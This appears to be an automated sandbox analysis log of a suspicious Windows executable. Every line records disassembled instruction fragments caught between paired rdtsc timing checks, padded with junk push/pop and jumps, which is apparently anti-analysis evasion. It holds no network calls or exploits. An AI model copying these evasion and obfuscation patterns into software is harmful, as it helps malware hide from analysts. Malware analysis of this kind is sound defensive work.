Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E164 second address: E4E168 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5765A second address: E5765E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5765E second address: E5768D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850CC4A38Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F850CC4A396h 0x00000011 jc 00007F850CC4A386h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5768D second address: E5769D instructions: 0x00000000 rdtsc 0x00000002 js 00007F850D0E60D8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5769D second address: E576A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E576A1 second address: E576A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E017BF second address: E017D6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F850CC4A386h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F850CC4A38Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E017D6 second address: E017E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F850D0E60D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E017E0 second address: E01805 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F850CC4A386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F850CC4A38Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F850CC4A38Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E01805 second address: E01827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E01827 second address: E0182B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DEF04B second address: DEF04F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5FC40 second address: E5FC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5FC48 second address: E5FC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5FDCF second address: E5FDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5FDD3 second address: E5FDD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5FDD7 second address: E5FDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E65C5B second address: E65C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E65C5F second address: E65C65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6AE74 second address: E6AE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A5D1 second address: E6A5F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F850CC4A394h 0x00000009 jmp 00007F850CC4A38Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A5F3 second address: E6A5F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A5F7 second address: E6A602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A602 second address: E6A608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A8DF second address: E6A8E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A8E5 second address: E6A900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6A900 second address: E6A904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E6AAF0 second address: E6AAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E73903 second address: E73922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850CC4A390h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c jnl 00007F850CC4A388h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E73E6A second address: E73E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F850D0E60D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E73E7A second address: E73E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F850CC4A386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E73E84 second address: E73EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnc 00007F850D0E60D6h 0x00000010 jnl 00007F850D0E60D6h 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E73EA1 second address: E73EB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7402C second address: E74052 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F850D0E60D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F850D0E60EAh 0x00000012 jmp 00007F850D0E60E2h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E744CF second address: E744D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E744D8 second address: E744E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F850D0E60D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E748D6 second address: E748F9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F850CC4A398h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E748F9 second address: E748FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E748FF second address: E7491C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F850CC4A386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850CC4A391h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E786B2 second address: E786B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E415CE second address: E415E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F850CC4A390h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E41BB0 second address: E41BCE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F850D0E60E2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E41BCE second address: E41C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F850CC4A390h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F850CC4A388h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dh, F8h 0x0000002c mov dword ptr [ebp+122D314Eh], ebx 0x00000032 mov dword ptr [ebp+122D2403h], edi 0x00000038 nop 0x00000039 pushad 0x0000003a push ecx 0x0000003b pushad 0x0000003c popad 0x0000003d pop ecx 0x0000003e push eax 0x0000003f jng 00007F850CC4A386h 0x00000045 pop eax 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push eax 0x0000004c pop eax 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E41C34 second address: E41C3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E41E98 second address: E41E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E41E9C second address: E41ED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F850D0E60D8h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 xor edx, dword ptr [ebp+122D3AB6h] 0x00000016 push 00000004h 0x00000018 call 00007F850D0E60DEh 0x0000001d mov dword ptr [ebp+122D320Bh], edx 0x00000023 pop edi 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 jnp 00007F850D0E60D6h 0x0000002e pop ebx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E423A3 second address: E423F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D2012h], esi 0x0000000d push 0000001Eh 0x0000000f pushad 0x00000010 call 00007F850CC4A396h 0x00000015 xor esi, dword ptr [ebp+124775E4h] 0x0000001b pop ecx 0x0000001c mov dword ptr [ebp+12454C44h], ecx 0x00000022 popad 0x00000023 nop 0x00000024 jmp 00007F850CC4A38Fh 0x00000029 push eax 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d jnl 00007F850CC4A386h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E42560 second address: E42564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E426D5 second address: E426E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E427C5 second address: E42816 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F850D0E60DCh 0x00000008 jnc 00007F850D0E60D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 call 00007F850D0E60DCh 0x00000018 jmp 00007F850D0E60DFh 0x0000001d pop edx 0x0000001e lea eax, dword ptr [ebp+1248C12Dh] 0x00000024 nop 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F850D0E60DFh 0x0000002c push esi 0x0000002d pop esi 0x0000002e popad 0x0000002f pop edx 0x00000030 push eax 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E42816 second address: E4281A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C1FD second address: E7C201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C3AA second address: E7C3AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C3AF second address: E7C3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F850D0E60D6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C4DB second address: E7C4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F850CC4A386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C4E5 second address: E7C4F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F850D0E60DEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C4F9 second address: E7C4FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C7DF second address: E7C7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F850D0E60D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7C7EA second address: E7C7EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7CA7B second address: E7CA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7CA81 second address: E7CA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7CA85 second address: E7CA89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E7CA89 second address: E7CA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F850CC4A386h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E82FC6 second address: E82FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E82FCC second address: E82FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E82FD0 second address: E82FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E82FD4 second address: E82FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E82FDA second address: E82FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E82FE0 second address: E83003 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F850CC4A388h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F850CC4A39Ch 0x00000012 jl 00007F850CC4A38Eh 0x00000018 jo 00007F850CC4A386h 0x0000001e pushad 0x0000001f popad 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E81A7D second address: E81AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F850D0E60E4h 0x00000008 pop eax 0x00000009 jbe 00007F850D0E60E3h 0x0000000f jmp 00007F850D0E60DBh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E81AAF second address: E81AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F850CC4A38Ch 0x0000000b jbe 00007F850CC4A386h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E81C33 second address: E81C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E85778 second address: E85799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F850CC4A398h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E85799 second address: E857AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jg 00007F850D0E60D6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E857AF second address: E857CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F850CC4A392h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E8546D second address: E85471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E88440 second address: E88452 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F850CC4A386h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E88452 second address: E88456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E8CDF1 second address: E8CDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E91C89 second address: E91C9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F850D0E60D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E92058 second address: E92062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F850CC4A386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E921D0 second address: E921DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9234D second address: E9236D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnc 00007F850CC4A38Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F850CC4A38Dh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E420F3 second address: E4210A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4219B second address: E421AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E975ED second address: E975FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DAh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9690F second address: E96919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E96EA4 second address: E96EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9701A second address: E97024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F850CC4A386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E97024 second address: E97028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E97028 second address: E97036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F850CC4A386h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E971BD second address: E971C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
